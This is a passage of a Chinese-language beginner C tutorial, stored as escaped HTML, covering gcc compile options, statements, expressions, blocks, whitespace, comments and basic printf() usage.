hello\u003c/code\u003e指定,编译产物的文件名为\u003ccode\u003ehello\u003c/code\u003e(取代默认的\u003ccode\u003ea.out\u003c/code\u003e)。编译后就会生成一个名叫\u003ccode\u003ehello\u003c/code\u003e的可执行文件,相当于为\u003ccode\u003ea.out\u003c/code\u003e指定了名称。执行该文件,也会得到同样的结果。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ ./hello\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eHello World\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eGCC 的\u003ccode\u003e-std=\u003c/code\u003e参数(standard 的缩写)还可以指定按照哪个 C 语言的标准进行编译。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -std=c99 hello.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令指定按照 C99 标准进行编译。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003e-std\u003c/code\u003e后面需要用\u003ccode\u003e=\u003c/code\u003e连接参数,而不是像上面的\u003ccode\u003e-o\u003c/code\u003e一样用空格,并且\u003ccode\u003e=\u003c/code\u003e前后也不能有多余的空格。\u003c/p\u003e\u003ch2 id=\"C-语言基本语法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E5%9F%BA%E6%9C%AC%E8%AF%AD%E6%B3%95\" class=\"headerlink\" title=\"C 语言基本语法\"\u003e\u003c/a\u003eC 语言基本语法\u003c/h2\u003e\u003ch3 id=\"语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"语句\"\u003e\u003c/a\u003e语句\u003c/h3\u003e\u003cp\u003eC 语言的代码由一行行语句(statement)组成。语句就是程序执行的一个操作命令。C 语言规定,语句必须使用分号结尾,除非有明确规定可以不写分号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面就是一个变量声明语句,声明整数变量\u003ccode\u003ex\u003c/code\u003e,并且将值设为\u003ccode\u003e1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e多个语句可以写在一行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x; x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是两个语句写在一行。所以,语句之间的换行符并不是必需的,只是为了方便阅读代码。\u003c/p\u003e\u003cp\u003e一个语句也可以写成多行,这时就要依靠分号判断语句在哪一行结束。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e=\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第二个语句\u003ccode\u003ex = 1;\u003c/code\u003e被拆成了四行。编译器会自动忽略代码里面的换行。\u003c/p\u003e\u003cp\u003e单个分号也是有效语句,称为“空语句”,虽然毫无作用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"表达式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%A1%A8%E8%BE%BE%E5%BC%8F\" class=\"headerlink\" title=\"表达式\"\u003e\u003c/a\u003e表达式\u003c/h3\u003e\u003cp\u003eC 语言的各种计算,主要通过表达式完成。表达式(expression)是一个计算式,用来获取值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e1\u003c/span\u003e + \u003cspan class=\"number\"\u003e2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码就是一个表达式,用来获取\u003ccode\u003e1 + 2\u003c/code\u003e这个算术计算的结果。\u003c/p\u003e\u003cp\u003e表达式加上分号,也可以成为语句,但是没有实际的作用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e8\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3\u003c/span\u003e + \u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是两个表达式,加上分号以后成为语句。\u003c/p\u003e\u003cp\u003e表达式与语句的区别主要是两点:\u003c/p\u003e\u003cul\u003e\u003cli\u003e语句可以包含表达式,但是表达式本身不构成语句。\u003c/li\u003e\u003cli\u003e表达式都有返回值,语句不一定有。因为语句用来执行某个命令,很多时候不需要返回值,比如变量声明语句(\u003ccode\u003eint x = 1\u003c/code\u003e)就没有返回值。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"语句块\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%AF%AD%E5%8F%A5%E5%9D%97\" class=\"headerlink\" title=\"语句块\"\u003e\u003c/a\u003e语句块\u003c/h3\u003e\u003cp\u003eC 语言允许多个语句使用一对大括号\u003ccode\u003e{}\u003c/code\u003e,组成一个块,也称为复合语句(compounded statement)。在语法上,语句块可以视为多个语句组成的一个复合语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,大括号形成了一个语句块。\u003c/p\u003e\u003cp\u003e大括号的结尾不需要添加分号。\u003c/p\u003e\u003ch3 id=\"空格\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%A9%BA%E6%A0%BC\" class=\"headerlink\" title=\"空格\"\u003e\u003c/a\u003e空格\u003c/h3\u003e\u003cp\u003eC 语言里面的空格,主要用来帮助编译器区分语法单位。如果语法单位不用空格就能区分,空格就不是必须的,只是为了增加代码的可读性。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,赋值号(\u003ccode\u003e=\u003c/code\u003e)前后有没有空格都可以,因为编译器这里不借助空格,就能区分语法单位。\u003c/p\u003e\u003cp\u003e语法单位之间的多个空格,等同于单个空格。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,各个语法单位之间的多个空格,跟单个空格的效果是一样的。\u003c/p\u003e\u003cp\u003e空格还用来表示缩进。多层级的代码有没有缩进,其实对于编译器来说并没有差别,没有缩进的代码也是完全可以运行的。强调代码缩进,只是为了增强代码可读性,便于区分代码块。\u003c/p\u003e\u003cp\u003e大多数 C 语言的风格要求是,下一级代码比上一级缩进4个空格。为了书写的紧凑,本书采用缩写两个空格。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 缩进四个空格\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;positive\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 缩进两个空格\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;positive\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e只包含空格的行被称为空白行,编译器会完全忽略该行。\u003c/p\u003e\u003ch3 id=\"注释\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%B3%A8%E9%87%8A\" class=\"headerlink\" title=\"注释\"\u003e\u003c/a\u003e注释\u003c/h3\u003e\u003cp\u003e注释是对代码的说明,编译器会忽略注释,也就是说,注释对实际代码没有影响。\u003c/p\u003e\u003cp\u003eC 语言的注释有两种表示方法。第一种方法是将注释放在\u003ccode\u003e/*...*/\u003c/code\u003e之间,内部可以分行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 注释 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e 这是一行注释\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种注释可以插在行内。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eopen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s \u003cspan class=\"comment\"\u003e/* file name */\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e mode)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e/* file name */\u003c/code\u003e用来对函数参数进行说明,跟在它后面的代码依然会有效执行。\u003c/p\u003e\u003cp\u003e这种注释一定不能忘记写结束符号\u003ccode\u003e*/\u003c/code\u003e,否则很容易导致错误。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;a \u0026#34;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e/* 注释一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eprintf(\u0026#34;b \u0026#34;);\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eprintf(\u0026#34;c \u0026#34;); /* 注释二 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;d \u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例的原意是,第一行和第三行代码的尾部,有两个注释。但是,第一行注释忘记写结束符号,导致注释一延续到第三行结束。\u003c/p\u003e\u003cp\u003e第二种写法是将注释放在双斜杠\u003ccode\u003e//\u003c/code\u003e后面,从双斜杠到行尾都属于注释。这种注释只能是单行,可以放在行首,也可以放在一行语句的结尾。这是 C99 标准新增的语法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 这是一行注释\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 这也是注释\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不管是哪一种注释,都不能放在双引号里面。双引号里面的注释符号,会成为字符串的一部分,解释为普通符号,失去注释作用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;// hello /* world */ \u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,双引号里面的注释符号,都会被视为普通字符,没有注释作用。\u003c/p\u003e\u003cp\u003e编译时,注释会被替换成一个空格,所以\u003ccode\u003emin/* space */Value\u003c/code\u003e会变成\u003ccode\u003emin Value\u003c/code\u003e,而不是\u003ccode\u003eminValue\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"printf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#printf\" class=\"headerlink\" title=\"printf()\"\u003e\u003c/a\u003eprintf()\u003c/h3\u003e\u003ch4 id=\"基本用法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"基本用法\"\u003e\u003c/a\u003e基本用法\u003c/h4\u003e\u003cp\u003e本书的示例会大量用到\u003ccode\u003eprintf()\u003c/code\u003e函数,这里先介绍一下这个函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e的作用是将参数文本输出到屏幕。它名字里面的\u003ccode\u003ef\u003c/code\u003e代表\u003ccode\u003eformat\u003c/code\u003e(格式化),表示可以定制输出文本的格式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令会在屏幕上输出一行文字“Hello World”。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e不会在行尾自动添加换行符,运行结束后,光标就停留在输出结束的地方,不会自动换行。为了让光标移到下一行的开头,可以在输出文本的结尾,添加一个换行符\u003ccode\u003e\\n\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果文本内部有换行,也是通过插入换行符来实现。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan 